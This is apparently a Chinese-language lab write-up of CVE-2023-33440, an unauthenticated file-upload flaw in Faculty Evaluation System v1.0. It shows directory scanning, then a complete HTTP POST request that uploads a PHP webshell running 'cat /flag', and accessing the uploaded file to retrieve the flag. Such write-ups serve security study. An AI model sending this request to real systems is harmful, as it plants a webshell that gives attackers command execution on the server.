CVE-2023-33440（任意文件上传）
简介Faculty Evaluation System v1.0 存在未授权任意文件上传漏洞漏洞
过程
打开靶场
https://i-blog.csdnimg.cn/direct/bb31c32b5e80462a91e84113b3c8c477.png
举行目录扫描
https://i-blog.csdnimg.cn/direct/86d13b264bc24a108fb102324e703e9c.png
发现后台login.php，进入查看
https://i-blog.csdnimg.cn/direct/95e9eefe8f644bb8bf4f1ac58d6d747c.png
弱口令举行测试，无效，无法进入
根据提示是未授权访问文件上传 ，应该是不需要登录就能触发漏洞的，直接举行抓包
poc如下
POST /ajax.php?action=update_user HTTP/1.1
Host: XXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://XXX/index.php?page=report
Content-Length: 750
Content-Type: multipart/form-data; boundary=---------------------------166782539326470
Connection: close
-----------------------------166782539326470
Content-Disposition: form-data; name="id"
1
-----------------------------166782539326470
Content-Disposition: form-data; name="firstname"
Administrator
-----------------------------166782539326470
Content-Disposition: form-data; name="lastname"
a
-----------------------------166782539326470
Content-Disposition: form-data; name="email"
admin@admin.com
-----------------------------166782539326470
Content-Disposition: form-data; name="password"
admin
-----------------------------166782539326470
Content-Disposition: form-data; name="img"; filename="php.php"
Content-Type: application/octet-stream
<?php system("cat /flag");?>
-----------------------------166782539326470-- 自己本地举行抓包之后修改ip
https://i-blog.csdnimg.cn/direct/da1b078a7a84458a8dd5be54b2e96c89.png
抓包之后应该发如图所示的包
发包乐成
https://i-blog.csdnimg.cn/direct/dc54cb26be53464980c6f641dce9a2ad.png
访问shell
http://xxx/assets/uploads/1721405880_php.php 得到flag{4a73a5b5-f582-4070-8229-dc447aae57c5}
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